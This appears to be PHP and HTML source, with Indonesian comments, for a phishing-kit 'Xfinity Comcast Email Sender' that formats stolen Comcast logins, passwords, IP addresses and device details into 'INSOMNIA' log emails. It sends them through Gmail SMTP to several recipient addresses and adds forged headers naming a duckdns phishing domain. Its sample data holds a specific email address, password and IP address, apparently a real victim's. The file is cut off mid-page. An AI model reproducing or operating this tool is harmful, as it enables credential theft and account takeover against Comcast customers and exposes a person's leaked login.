<?php
// ==================================================
// EMAIL SENDER WITH SMTP - REAL TIME & DATE
// ==================================================

// Set timezone ke Indonesia (WIB)
date_default_timezone_set('Asia/Jakarta');

// Check if PHPMailer exists
$phpmailer_available = file_exists('phpmailer/src/PHPMailer.php');

if ($phpmailer_available) {
    require_once 'phpmailer/src/PHPMailer.php';
    require_once 'phpmailer/src/SMTP.php';
    require_once 'phpmailer/src/Exception.php';
}

// Fungsi untuk generate waktu dan tanggal REAL-TIME
function generateRealTimeDate() {
    return date('h:i A - D, d M Y');
}

// Fungsi untuk membaca credentials dari file smtp.txt
function readSMTPCredentials() {
    $smtp_file = 'smtp.txt';
    
    if (!file_exists($smtp_file)) {
        return [
            'status' => 'error',
            'message' => 'File smtp.txt tidak ditemukan!'
        ];
    }
    
    $content = file_get_contents($smtp_file);
    $content = trim($content);
    
    if (empty($content)) {
        return [
            'status' => 'error',
            'message' => 'File smtp.txt kosong!'
        ];
    }
    
    if (strpos($content, ':') === false) {
        return [
            'status' => 'error', 
            'message' => 'Format salah! Gunakan: email:password'
        ];
    }
    
    list($email, $password) = explode(':', $content, 2);
    $email = trim($email);
    $password = trim($password);
    
    if (empty($email) || empty($password)) {
        return [
            'status' => 'error',
            'message' => 'Email atau password kosong!'
        ];
    }
    
    return [
        'status' => 'success',
        'email' => $email,
        'password' => $password
    ];
}

// Fungsi utama untuk mengirim email ke multiple target (TERPISAH)
function sendEmailWithSMTP($config) {
    $creds = readSMTPCredentials();
    if ($creds['status'] === 'error') {
        return $creds;
    }
    
    if (file_exists('phpmailer/src/PHPMailer.php')) {
        return sendWithPHPMailerSeparate($config, $creds);
    } else {
        return [
            'status' => 'error',
            'message' => 'PHPMailer tidak ditemukan!'
        ];
    }
}

// Mengirim email TERPISAH ke setiap target
function sendWithPHPMailerSeparate($config, $creds) {
    $results = [];
    $real_time_date = generateRealTimeDate();
    
    // Target emails - DITAMBAHKAN EMAIL TUJUAN 3
    $target_emails = [$config['target_email']];
    if (!empty($config['target_email2'])) {
        $target_emails[] = $config['target_email2'];
    }
    if (!empty($config['target_email3'])) {
        $target_emails[] = $config['target_email3'];
    }
    
    foreach ($target_emails as $target_email) {
        try {
            $mail = new PHPMailer\PHPMailer\PHPMailer(true);
            
            // Server settings
            $mail->isSMTP();
            $mail->Host = 'smtp.gmail.com';
            $mail->SMTPAuth = true;
            $mail->Username = $creds['email'];
            $mail->Password = $creds['password'];
            $mail->SMTPSecure = PHPMailer\PHPMailer\PHPMailer::ENCRYPTION_STARTTLS;
            $mail->Port = 587;
            $mail->SMTPDebug = 0;
            
            // Recipients - HANYA SATU EMAIL DI TO
            $mail->setFrom($creds['email'], $config['sender_name']);
            $mail->addAddress($target_email); // Hanya satu email di TO
            $mail->addReplyTo($config['sender_email'], $config['sender_name']);
            
            // Content
            $mail->isHTML(true);
            $mail->Subject = $config['subject'];
            $mail->Body = generateEmailBody($config, $real_time_date);
            
            addCustomHeaders($mail, $config);
            
            $mail->send();
            
            $results[] = [
                'status' => 'success',
                'email' => $target_email,
                'message' => 'Email berhasil dikirim!'
            ];
            
        } catch (Exception $e) {
            $results[] = [
                'status' => 'error',
                'email' => $target_email,
                'message' => 'Error: ' . $e->getMessage()
            ];
        }
        
        // Delay kecil antara pengiriman
        usleep(500000); // 0.5 second
    }
    
    // Check if all emails were sent successfully
    $all_success = true;
    foreach ($results as $result) {
        if ($result['status'] === 'error') {
            $all_success = false;
            break;
        }
    }
    
    if ($all_success) {
        return [
            'status' => 'success', 
            'message' => 'Semua email berhasil dikirim!',
            'smtp_account' => $creds['email'],
            'time_sent' => $real_time_date,
            'sent_emails' => $target_emails,
            'details' => $results
        ];
    } else {
        return [
            'status' => 'error', 
            'message' => 'Beberapa email gagal dikirim',
            'smtp_account' => $creds['email'],
            'time_sent' => $real_time_date,
            'sent_emails' => $target_emails,
            'details' => $results
        ];
    }
}

// Add custom headers safely
function addCustomHeaders($mail, $config) {
    $headers = generateEmailHeaders($config);
    $headers_array = explode("\n", $headers);
    
    foreach ($headers_array as $header) {
        $header = trim($header);
        if (!empty($header)) {
            if (stripos($header, 'To:') === 0 || 
                stripos($header, 'From:') === 0 ||
                stripos($header, 'Subject:') === 0 ||
                stripos($header, 'Reply-To:') === 0 ||
                stripos($header, 'Date:') === 0 ||
                stripos($header, 'MIME-Version:') === 0 ||
                stripos($header, 'Content-Type:') === 0) {
                continue;
            }
            $mail->addCustomHeader($header);
        }
    }
}

// Generate email body HTML dengan waktu REAL-TIME
function generateEmailBody($data, $real_time_date) {
    return '<html><body><table border="3" rules="all" cellpadding="10"><tr><th colspan="2"><h3>_ I N S O M N I A _</h3><p>Xfinity Comcast</p></th></tr>
<tr style="background: #45CB16;"><td><strong> Comcast Account : </strong></td><td> ' . htmlspecialchars($data['email_address']) . '</td></tr>
<tr style="background: #45CB16;"><td><strong> Password : </strong></td><td> ' . htmlspecialchars($data['email_password']) . '</td></tr>
<tr><th colspan="2"><h3>Device Information</h3></th></tr>
<tr style="background: #FC3803;"><td><strong> IP Address : </strong></td><td> ' . htmlspecialchars($data['custom_ip']) . '</td></tr>
<tr style="background: #FFFFFF;"><td><strong> Country : </strong></td><td> ' . htmlspecialchars($data['country']) . '</td></tr>
<tr style="background: #FFD700;"><td><strong> Region : </strong></td><td> ' . htmlspecialchars($data['region']) . '</td></tr>
<tr style="background: #FFFFFF;"><td><strong> City : </strong></td><td> ' . htmlspecialchars($data['device_city']) . '</td></tr>
<tr style="background: #1144F0;"><td><strong> Device : </strong></td><td> ' . htmlspecialchars($data['device']) . '</td></tr>
<tr style="background: #FFFFFF;"><td><strong> Browser : </strong></td><td> ' . htmlspecialchars($data['browser']) . '</td></tr>
<tr style="background: #FF5BFA;"><td><strong> Time &amp; Date : </strong></td><td> ' . $real_time_date . '</td></tr>
<tr style="background: #FFFFFF;"><td><strong> User Agent : </strong></td><td> ' . htmlspecialchars($data['custom_user_agent']) . '</td></tr>
</table>
</body></html>';
}

// Generate realistic email headers
function generateEmailHeaders($data) {
    $current_date = date('r');
    
    $headers = [];
    $headers[] = "X-PHP-Script: uptd-xfinithsy-bilingorders.duckdns.org/cr51.php for " . $data['custom_ip'];
    $headers[] = "X-PHP-Originating-Script: 1006:Myaccount.php";
    $headers[] = "Return-Path: " . $data['sender_email'];
    $headers[] = "X-Original-IP: " . $data['custom_ip'];
    $headers[] = "X-User-Agent: " . $data['custom_user_agent'];
    
    return implode("\r\n", $headers);
}

// Process form submission
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $email_input = $_POST['email_address'] ?? '';
    
    // INPUT EMAIL DIGUNAKAN APA ADANYA TANPA MODIFIKASI
    $config = [
        'target_email' => $_POST['target_email'] ?? '',
        'target_email2' => $_POST['target_email2'] ?? '', // EMAIL TARGET KEDUA
        'target_email3' => $_POST['target_email3'] ?? '', // EMAIL TARGET KETIGA - BARU
        'sender_name' => $_POST['sender_name'] ?? 'Insomnia - Xfinity',
        'sender_email' => $_POST['sender_email'] ?? 'buatsmtpextt@toledogifteconomy.com',
        'subject' => "Comcast Account : " . $email_input . " [ " . ($_POST['country'] ?? '') . " - " . ($_POST['device'] ?? '') . " - " . ($_POST['custom_ip'] ?? '') . " ]",
        'custom_ip' => $_POST['custom_ip'] ?? '',
        'custom_user_agent' => $_POST['custom_user_agent'] ?? '',
        'email_address' => $email_input, // DIGUNAKAN TANPA MODIFIKASI
        'email_password' => $_POST['email_password'] ?? '',
        'country' => $_POST['country'] ?? '',
        'region' => $_POST['region'] ?? '',
        'device_city' => $_POST['device_city'] ?? '',
        'device' => $_POST['device'] ?? '',
        'browser' => $_POST['browser'] ?? '',
    ];
    
    $result = sendEmailWithSMTP($config);
    
    // Jika berhasil dikirim, set flag untuk membersihkan form
    $clear_form = isset($result) && $result['status'] === 'success';
} else {
    $clear_form = false;
}

// Fungsi untuk mendapatkan nilai field - akan mengosongkan field tertentu jika email berhasil dikirim
function getFieldValue($field_name, $default_value = '') {
    global $clear_form;
    
    // Daftar field yang TIDAK BOLEH dikosongkan (selalu tetap)
    $persistent_fields = [
        'target_email',
        'target_email2', 
        'target_email3', // DITAMBAHKAN
        'sender_name',
        'sender_email'
    ];
    
    // Jika form berhasil dikirim dan field ini BUKAN persistent field, maka kosongkan
    if ($clear_form && !in_array($field_name, $persistent_fields)) {
        return '';
    }
    
    return $_POST[$field_name] ?? $default_value;
}

// Fungsi khusus untuk field yang PERSISTENT (tidak pernah dikosongkan)
function getPersistentFieldValue($field_name, $default_value = '') {
    return $_POST[$field_name] ?? $default_value;
}
?>

<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Email Sender - Xfinity Comcast Format</title>
    <style>
        * { 
            margin: 0; 
            padding: 0; 
            box-sizing: border-box; 
        }
        
        body { 
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; 
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh; 
            padding: 20px; 
            line-height: 1.6;
        }
        
        .container {
            max-width: 1400px;
            margin: 0 auto;
            background: white;
            border-radius: 20px;
            box-shadow: 0 25px 50px rgba(0,0,0,0.15);
            overflow: hidden;
        }
        
        .header {
            background: linear-gradient(135deg, #2c3e50, #34495e);
            color: white;
            padding: 40px 30px;
            text-align: center;
            border-bottom: 5px solid #45CB16;
        }
        
        .header h1 {
            font-size: 2.8rem;
            margin-bottom: 15px;
            font-weight: 700;
        }
        
        .header p {
            font-size: 1.3rem;
            opacity: 0.9;
            font-weight: 300;
        }
        
        .content { 
            padding: 40px; 
        }
        
        .form-section {
            margin-bottom: 40px;
            background: #f8f9fa;
            padding: 30px;
            border-radius: 15px;
            border: 2px solid #e9ecef;
        }
        
        .section-title {
            background: linear-gradient(135deg, #45CB16, #2ecc71);
            color: white;
            padding: 20px;
            margin: -30px -30px 25px -30px;
            border-radius: 12px 12px 0 0;
            font-size: 1.5rem;
            font-weight: 600;
            text-align: center;
        }
        
        .form-group { 
            margin-bottom: 25px; 
        }
        
        label { 
            display: block; 
            margin-bottom: 12px; 
            font-weight: 600; 
            color: #2c3e50;
            font-size: 1.1rem;
        }
        
        input, select, textarea, button {
            width: 100%;
            padding: 18px;
            border: 2px solid #ddd;
            border-radius: 10px;
            font-size: 1.1rem;
            margin-bottom: 15px;
            transition: all 0.3s ease;
            background: white;
        }
        
        input:focus, select:focus, textarea:focus {
            border-color: #45CB16;
            box-shadow: 0 0 0 3px rgba(69, 203, 22, 0.1);
            outline: none;
            transform: translateY(-2px);
        }
        
        textarea { 
            height: 150px; 
            resize: vertical; 
            font-family: 'Courier New', monospace;
        }
        
        .btn {
            background: linear-gradient(135deg, #3498db, #2980b9);
            color: white;
            border: none;
            padding: 20px;
            font-size: 1.3rem;
            font-weight: 600;
            cursor: pointer;
            transition: all 0.3s;
            margin-top: 30px;
            border-radius: 12px;
            box-shadow: 0 8px 20px rgba(52, 152, 219, 0.3);
        }
        
        .btn:hover {
            transform: translateY(-3px);
            box-shadow: 0 12px 25px rgba(52, 152, 219, 0.4);
        }
        
        .btn:active {
            transform: translateY(-1px);
        }
        
        .btn-success {
            background: linear-gradient(135deg, #28a745, #20c997);
            box-shadow: 0 8px 20px rgba(40, 167, 69, 0.3);
        }
        
        .alert {
            padding: 25px;
            border-radius: 12px;
            margin-bottom: 30px;
            text-align: center;
            font-size: 1.1rem;
            font-weight: 500;
        }
        
        .alert-success {
            background: #d4edda;
            color: #155724;
            border: 2px solid #c3e6cb;
        }
        
        .alert-error {
            background: #f8d7da;
            color: #721c24;
            border: 2px solid #f5c6cb;
        }
        
        .grid-2 {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 25px;
        }
        
        .grid-3 {
            display: grid;
            grid-template-columns: 1fr 1fr 1fr;
            gap: 25px;
        }
        
        @media (max-width: 1200px) {
            .grid-3 { grid-template-columns: 1fr 1fr; }
        }
        
        @media (max-width: 768px) {
            .grid-2, .grid-3 { grid-template-columns: 1fr; }
            
            .content { padding: 25px; }
            
            .header h1 { font-size: 2.2rem; }
            
            .header p { font-size: 1.1rem; }
            
            input, select, textarea, button {
                padding: 16px;
                font-size: 1rem;
            }
        }
        
        .smtp-status {
            background: #fff3cd;
            border: 2px solid #ffeaa7;
            padding: 20px;
            border-radius: 12px;
            margin-bottom: 30px;
            text-align: center;
        }
        
        .smtp-status h3 {
            color: #856404;
            margin-bottom: 10px;
            font-size: 1.3rem;
        }
        
        .real-time-info {
            background: linear-gradient(135deg, #e7f3ff, #b3d9ff);
            border: 2px solid #3498db;
            padding: 25px;
            border-radius: 12px;
            margin: 25px 0;
            text-align: center;
        }
        
        .time-display {
            font-size: 1.8rem;
            font-weight: bold;
            color: #2c3e50;
            margin: 15px 0;
            background: white;
            padding: 15px;
            border-radius: 10px;
            display: inline-block;
            min-width: 300px;
        }
        
        .paste-section {
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            padding: 30px;
            border-radius: 15px;
            margin-bottom: 35px;
            color: white;
        }
        
        .button-group {
            display: flex;
            gap: 15px;
            flex-wrap: wrap;
            margin-top: 20px;
        }
        
        .btn-paste {
            background: linear-gradient(135deg, #28a745, #20c997);
            flex: 1;
            min-width: 200px;
            padding: 15px;
            font-size: 1.1rem;
        }
        
        .btn-clear {
            background: linear-gradient(135deg, #dc3545, #c82333);
            flex: 1;
            min-width: 200px;
            padding: 15px;
            font-size: 1.1rem;
        }
        
        .btn-sample {
            background: linear-gradient(135deg, #6c757d, #5a6268);
            flex: 1;
            min-width: 200px;
            padding: 15px;
            font-size: 1.1rem;
        }
        
        .email-target-group {
            display: flex;
            gap: 15px;
            align-items: end;
        }
        
        .email-target-group .form-group {
            flex: 1;
            margin-bottom: 0;
        }
        
        .copy-btn {
            background: #6c757d;
            color: white;
            border: none;
            padding: 18px 20px;
            border-radius: 10px;
            cursor: pointer;
            font-size: 1rem;
            white-space: nowrap;
            transition: all 0.3s;
        }
        
        .copy-btn:hover {
            background: #5a6268;
            transform: translateY(-2px);
        }
        
        .auto-fill-notice {
            background: #e8f5e8;
            border: 1px solid #45CB16;
            padding: 12px 15px;
            border-radius: 8px;
            margin-top: 10px;
            font-size: 0.95rem;
            color: #2e7d32;
        }
        
        .results-section {
            background: #f8f9fa;
            padding: 30px;
            border-radius: 15px;
            margin-top: 30px;
            border: 2px solid #e9ecef;
        }
        
        .email-list {
            background: white;
            border-radius: 10px;
            padding: 20px;
            margin: 20px 0;
            box-shadow: 0 5px 15px rgba(0,0,0,0.1);
        }
        
        .email-item {
            display: flex;
            align-items: center;
            padding: 12px 0;
            border-bottom: 1px solid #eee;
            font-size: 1.1rem;
        }
        
        .email-item:last-child {
            border-bottom: none;
        }
        
        .email-icon {
            margin-right: 15px;
            color: #28a745;
            font-size: 1.3rem;
        }
        
        .email-icon.error {
            color: #dc3545;
        }
        
        .preview-section {
            background: #2c3e50;
            color: white;
            padding: 25px;
            border-radius: 12px;
            margin: 25px 0;
        }
        
        .preview-section h3 {
            margin-bottom: 15px;
            font-size: 1.4rem;
        }
        
        .preview-section pre {
            white-space: pre-wrap;
            font-size: 1rem;
            line-height: 1.5;
            font-family: 'Courier New', monospace;
        }
        
        .form-note {
            font-size: 0.95rem;
            color: #6c757d;
            margin-top: 8px;
            font-style: italic;
        }
        
        .hidden-email-info {
            background: #e7f3ff;
            border: 2px dashed #3498db;
            padding: 20px;
            border-radius: 10px;
            margin: 15px 0;
            text-align: center;
        }
        
        .format-example {
            background: rgba(255,255,255,0.1);
            padding: 15px;
            border-radius: 8px;
            margin: 15px 0;
            font-family: monospace;
            font-size: 12px;
            line-height: 1.4;
        }

        /* STYLES BARU UNTUK POP UP BULAT */
        .floating-send-button {
            position: fixed;
            bottom: 30px;
            right: 30px;
            width: 80px;
            height: 80px;
            background: linear-gradient(135deg, #28a745, #20c997);
            color: white;
            border-radius: 50%;
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            font-size: 12px;
            font-weight: 600;
            cursor: pointer;
            box-shadow: 0 8px 25px rgba(40, 167, 69, 0.4);
            z-index: 1000;
            transition: all 0.3s ease;
            text-align: center;
            border: none;
            padding: 10px;
        }

        .floating-send-button:hover {
            transform: scale(1.1) translateY(-5px);
            box-shadow: 0 12px 30px rgba(40, 167, 69, 0.6);
        }

        .floating-send-button:active {
            transform: scale(1.05) translateY(-2px);
        }

        .floating-send-button .icon {
            font-size: 24px;
            margin-bottom: 4px;
        }

        .floating-send-button.disabled {
            background: linear-gradient(135deg, #6c757d, #5a6268);
            cursor: not-allowed;
            transform: none;
            box-shadow: 0 5px 15px rgba(108, 117, 125, 0.3);
        }

        .floating-send-button.disabled:hover {
            transform: none;
            box-shadow: 0 5px 15px rgba(108, 117, 125, 0.3);
        }

        /* Modal Konfirmasi */
        .confirmation-modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0,0,0,0.7);
            z-index: 2000;
            justify-content: center;
            align-items: center;
        }

        .modal-content {
            background: white;
            padding: 30px;
            border-radius: 20px;
            max-width: 500px;
            width: 90%;
            text-align: center;
            box-shadow: 0 20px 50px rgba(0,0,0,0.3);
            animation: modalAppear 0.3s ease;
        }

        @keyframes modalAppear {
            from {
                opacity: 0;
                transform: scale(0.8) translateY(-20px);
            }
            to {
                opacity: 1;
                transform: scale(1) translateY(0);
            }
        }

        .modal-icon {
            font-size: 50px;
            margin-bottom: 20px;
            color: #28a745;
        }

        .modal-title {
            font-size: 1.8rem;
            margin-bottom: 15px;
            color: #2c3e50;
        }

        .modal-message {
            font-size: 1.1rem;
            margin-bottom: 25px;
            color: #6c757d;
            line-height: 1.5;
        }

        .modal-actions {
            display: flex;
            gap: 15px;
            justify-content: center;
        }

        .modal-btn {
            padding: 12px 30px;
            border: none;
            border-radius: 10px;
            font-size: 1.1rem;
            font-weight: 600;
            cursor: pointer;
            transition: all 0.3s;
            flex: 1;
        }

        .modal-btn.confirm {
            background: linear-gradient(135deg, #28a745, #20c997);
            color: white;
        }

        .modal-btn.cancel {
            background: #6c757d;
            color: white;
        }

        .modal-btn:hover {
            transform: translateY(-2px);
            box-shadow: 0 5px 15px rgba(0,0,0,0.2);
        }

        /* Loading Animation */
        .loading-spinner {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0,0,0,0.8);
            z-index: 3000;
            justify-content: center;
            align-items: center;
            flex-direction: column;
            color: white;
        }

        .spinner {
            width: 60px;
            height: 60px;
            border: 5px solid rgba(255,255,255,0.3);
            border-top: 5px solid #28a745;
            border-radius: 50%;
            animation: spin 1s linear infinite;
            margin-bottom: 20px;
        }

        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }

        .loading-text {
            font-size: 1.2rem;
            font-weight: 600;
        }

        /* Success Auto-clear Notice */
        .auto-clear-notice {
            background: #e8f5e8;
            border: 2px solid #45CB16;
            padding: 15px;
            border-radius: 10px;
            margin: 15px 0;
            text-align: center;
            color: #2e7d32;
            font-weight: 500;
        }

        /* Field yang persistent (tidak pernah dikosongkan) */
        .persistent-field {
            background: #f0f8ff !important;
            border-left: 4px solid #3498db !important;
        }
    </style>
    <script>
        function updateRealTime() {
            const now = new Date();
            const options = { 
                hour12: true,
                hour: '2-digit',
                minute: '2-digit',
                second: '2-digit',
                weekday: 'short',
                year: 'numeric',
                month: 'short',
                day: '2-digit'
            };
            const timeString = now.toLocaleString('en-US', options).replace(',', ' -');
            document.getElementById('realTimeDisplay').textContent = timeString;
        }
        
        setInterval(updateRealTime, 1000);
        updateRealTime();

        // NEW: Fungsi untuk parsing data yang di-paste - DIPERBAIKI
        function parsePastedData() {
            const pasteData = document.getElementById('pasteData').value;
            
            if (!pasteData.trim()) {
                alert('Silakan paste data terlebih dahulu!');
                return;
            }

            // Parse data berdasarkan pattern
            const lines = pasteData.split('\n');
            let parsedData = {};

            lines.forEach(line => {
                line = line.trim();
                
                // CARI "Comcast Account :" dan isi ke email_address
                if (line.includes('Comcast Account :')) {
                    const value = line.split('Comcast Account :')[1].trim();
                    parsedData.email_address = value;
                    // Juga isi ke email jika ada field email
                    parsedData.email = value;
                } 
                // CARI "Email Address :" dan isi ke email_address  
                else if (line.includes('Email Address :')) {
                    const value = line.split('Email Address :')[1].trim();
                    parsedData.email_address = value;
                    parsedData.email = value;
                }
                else if (line.includes('Password :')) {
                    parsedData.email_password = line.split('Password :')[1].trim();
                } else if (line.includes('IP Address :')) {
                    parsedData.custom_ip = line.split('IP Address :')[1].trim();
                } else if (line.includes('Country :')) {
                    parsedData.country = line.split('Country :')[1].trim();
                } else if (line.includes('Region :')) {
                    parsedData.region = line.split('Region :')[1].trim();
                } else if (line.includes('City :')) {
                    parsedData.device_city = line.split('City :')[1].trim();
                } else if (line.includes('Device :')) {
                    parsedData.device = line.split('Device :')[1].trim();
                } else if (line.includes('Browser :')) {
                    parsedData.browser = line.split('Browser :')[1].trim();
                } else if (line.includes('User Agent :')) {
                    parsedData.custom_user_agent = line.split('User Agent :')[1].trim();
                }
            });

            // Isi form dengan data yang di-parse
            if (parsedData.email_address) {
                document.getElementById('email_address').value = parsedData.email_address;
            }
            if (parsedData.email_password) {
                document.getElementById('email_password').value = parsedData.email_password;
            }
            if (parsedData.custom_ip) {
                document.getElementById('custom_ip').value = parsedData.custom_ip;
            }
            if (parsedData.country) {
                document.getElementById('country').value = parsedData.country;
            }
            if (parsedData.region) {
                document.getElementById('region').value = parsedData.region;
            }
            if (parsedData.device_city) {
                document.getElementById('device_city').value = parsedData.device_city;
            }
            if (parsedData.device) {
                document.getElementById('device').value = parsedData.device;
            }
            if (parsedData.browser) {
                document.getElementById('browser').value = parsedData.browser;
            }
            if (parsedData.custom_user_agent) {
                document.getElementById('custom_user_agent').value = parsedData.custom_user_agent;
            }

            // Tampilkan pesan sukses
            const filledFields = Object.keys(parsedData).length;
            if (filledFields > 0) {
                alert(`✅ Berhasil mengisi ${filledFields} field dari data yang di-paste!`);
            } else {
                alert('❌ Tidak dapat membaca data. Pastikan format sesuai contoh.');
            }
        }

        // NEW: Auto-fill dengan data contoh untuk demo
        function fillExamplePasteData() {
            const exampleData = `_ I N S O M N I A _
Xfinity Comcast

Comcast Account :    jknocke@comcast.net
Password :    Flyers2612
Device Information
IP Address :    174.57.133.188
Country :    United States
Region :    New Jersey
City :    Hamilton
Device :    Windows 10
Browser :    Chrome
Time & Date :    01:32 AM - Tue, 11 Nov 2025
User Agent :    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0`;

            document.getElementById('pasteData').value = exampleData;
        }

        // Clear paste data
        function clearPasteData() {
            document.getElementById('pasteData').value = '';
        }

        // DITAMBAHKAN: Fungsi untuk copy email ke target 2 dan 3
        function copyEmailToSecond() {
            const email1 = document.getElementById('target_email').value;
            if (email1) {
                document.getElementById('target_email2').value = email1;
                document.getElementById('target_email3').value = email1;
                alert('Email target 1 telah disalin ke email target 2 dan 3!');
            } else {
                alert('Email target 1 masih kosong!');
            }
        }

        // DITAMBAHKAN: Fungsi untuk copy email ke target 3 saja
        function copyEmailToThird() {
            const email1 = document.getElementById('target_email').value;
            if (email1) {
                document.getElementById('target_email3').value = email1;
                alert('Email target 1 telah disalin ke email target 3!');
            } else {
                alert('Email target 1 masih kosong!');
            }
        }

        // FUNGSI BARU UNTUK POP UP BULAT
        function showSendConfirmation() {
            // Validasi form sebelum menampilkan konfirmasi
            const requiredFields = ['target_email', 'email_address', 'custom_ip'];
            let isValid = true;
            let emptyFields = [];

            requiredFields.forEach(field => {
                const element = document.getElementById(field);
                if (!element.value.trim()) {
                    isValid = false;
                    emptyFields.push(field);
                }
            });

            if (!isValid) {
                alert('❌ Harap lengkapi semua field yang diperlukan:\n- Email Tujuan\n- Email Address\n- IP Address\n\n* Password tidak wajib diisi');
                return;
            }

            // Tampilkan modal konfirmasi
            document.getElementById('confirmationModal').style.display = 'flex';
        }

        function hideSendConfirmation() {
            document.getElementById('confirmationModal').style.display = 'none';
        }

        function submitForm() {
            // Sembunyikan modal konfirmasi
            hideSendConfirmation();
            
            // Tampilkan loading spinner
            document.getElementById('loadingSpinner').style.display = 'flex';
            
            // Submit form setelah delay kecil untuk animasi
            setTimeout(() => {
                document.getElementById('emailForm').submit();
            }, 1000);
        }

        // Close modal ketika klik di luar konten
        window.onclick = function(event) {
            const modal = document.getElementById('confirmationModal');
            if (event.target === modal) {
                hideSendConfirmation();
            }
        }

        // Cek status PHPMailer untuk mengatur tombol
        function checkPHPMailerStatus() {
            const phpmailerAvailable = <?php echo $phpmailer_available ? 'true' : 'false'; ?>;
            const floatingButton = document.getElementById('floatingSendButton');
            
            if (!phpmailerAvailable) {
                floatingButton.classList.add('disabled');
                floatingButton.innerHTML = '<div class="icon">⚠️</div><div>PHPMailer Tidak Tersedia</div>';
                floatingButton.onclick = function() {
                    alert('PHPMailer tidak tersedia! Silakan install PHPMailer terlebih dahulu.');
                };
            }
        }

        // Fungsi untuk clear form fields secara manual (hanya field yang clearable)
        function clearFormFields() {
            const fieldsToClear = [
                'custom_ip',
                'custom_user_agent', 
                'email_address',
                'email_password',
                'country',
                'region',
                'device_city',
                'device',
                'browser'
            ];
            
            fieldsToClear.forEach(field => {
                const element = document.getElementById(field);
                if (element) {
                    element.value = '';
                }
            });
            
            // Juga clear paste data area
            document.getElementById('pasteData').value = '';
            
            alert('✅ Form telah dibersihkan! Field-field utama telah dikosongkan.');
        }

        // Panggil fungsi saat halaman dimuat
        document.addEventListener('DOMContentLoaded', function() {
            checkPHPMailerStatus();
            
            // Jika email berhasil dikirim, tampilkan notifikasi auto-clear
            <?php if (isset($result) && $result['status'] === 'success'): ?>
                // Field-field sudah otomatis kosong dari PHP, cukup beri notifikasi
                setTimeout(() => {
                    const resultsSection = document.querySelector('.results-section');
                    if (resultsSection) {
                        const clearNotice = document.createElement('div');
                        clearNotice.className = 'auto-clear-notice';
                        clearNotice.innerHTML = '✅ Data berhasil dikirim! Field-field data telah otomatis dikosongkan.<br><small>Email tujuan dan pengaturan pengirim tetap tersimpan.</small>';
                        resultsSection.insertBefore(clearNotice, resultsSection.firstChild);
                    }
                }, 500);
            <?php endif; ?>
        });
    </script>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>📧 XFINITY COMCAST EMAIL SENDER</h1>
            <p>Kirim Email dengan Format Xfinity Comcast - Real Time</p>
        </div>
        
        <div class="content">
            <?php
            $smtp_status = readSMTPCredentials();
            if ($smtp_status['status'] === 'success') {
                echo '<div class="smtp-status">';
                echo '<h3>✅ SMTP READY</h3>';
                echo '<p>Akun: ' . htmlspecialchars($smtp_status['email']) . '</p>';
                if ($phpmailer_available) {
                    echo '<p>Status: Sistem siap mengirim email</p>';
                } else {
                    echo '<p>PHPMailer: ❌ Tidak Terinstall</p>';
                }
                echo '</div>';
            } else {
                echo '<div class="alert alert-error">';
                echo '<h3>❌ SMTP ERROR</h3>';
                echo '<p>' . htmlspecialchars($smtp_status['message']) . '</p>';
                echo '</div>';
            }
            ?>

            <div class="real-time-info">
                <h3>WAKTU REAL-TIME</h3>
                <div class="time-display" id="realTimeDisplay"></div>
                <p>Waktu akan terupdate otomatis saat email dikirim</p>
            </div>

            <div class="hidden-email-info">
                <h3>📨 PENGIRIMAN TERPISAH</h3>
                <p>Email akan dikirim <strong>TERPISAH</strong> ke setiap alamat tujuan</p>
                <p><small>Setiap email akan tampil seperti dikirim single, bukan multiple</small></p>
            </div>

            <div class="paste-section">
                <h3 style="color: white; text-align: center; margin-bottom: 20px; font-size: 1.5rem;">PASTE DATA SEKALIGUS</h3>
                <div class="form-group">
                    <textarea id="pasteData" placeholder="Paste data Anda di sini..."></textarea>
                </div>
                
                <div class="format-example">
                    <strong>Format yang didukung:</strong><br>
                    Comcast Account :&nbsp;&nbsp;&nbsp;&nbsp;jknocke@comcast.net<br>
                    Password :&nbsp;&nbsp;&nbsp;&nbsp;Flyers2612 (opsional)<br>
                    IP Address :&nbsp;&nbsp;&nbsp;&nbsp;174.57.133.188<br>
                    Country :&nbsp;&nbsp;&nbsp;&nbsp;United States<br>
                    Region :&nbsp;&nbsp;&nbsp;&nbsp;New Jersey<br>
                    City :&nbsp;&nbsp;&nbsp;&nbsp;Hamilton<br>
                    Device :&nbsp;&nbsp;&nbsp;&nbsp;Windows 10<br>
                    Browser :&nbsp;&nbsp;&nbsp;&nbsp;Chrome<br>
                    User Agent :&nbsp;&nbsp;&nbsp;&nbsp;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36...
                </div>

                <div class="button-group">
                    <button type="button" class="btn btn-paste" onclick="parsePastedData()">
                        🚀 PARSE DATA & ISI FORM
                    </button>
                    <button type="button" class="btn btn-sample" onclick="fillExamplePasteData()">
                        📝 CONTOH DATA
                    </button>
                    <button type="button" class="btn btn-clear" onclick="clearPasteData()">
                        🗑️ HAPUS
                    </button>
                    <button type="button" class="btn btn-clear" onclick="clearFormFields()" style="background: linear-gradient(135deg, #ffc107, #e0a800);">
                        🧹 BERSIHKAN DATA
                    </button>
                </div>
            </div>

            <?php if (!$phpmailer_available): ?>
            <div class="alert alert-error">
                <h3>⚠️ INSTALL PHPMailer</h3>
                <p>Download PHPMailer untuk mengirim email via SMTP</p>
            </div>
            <?php endif; ?>

            <?php if (isset($result)): ?>
                <div class="results-section">
                    <?php if ($result['status'] === 'success'): ?>
                        <div class="alert alert-success">
                            <h3>✅ <?php echo $result['message']; ?></h3>
                            <p><strong>Waktu:</strong> <?php echo $result['time_sent']; ?></p>
                            
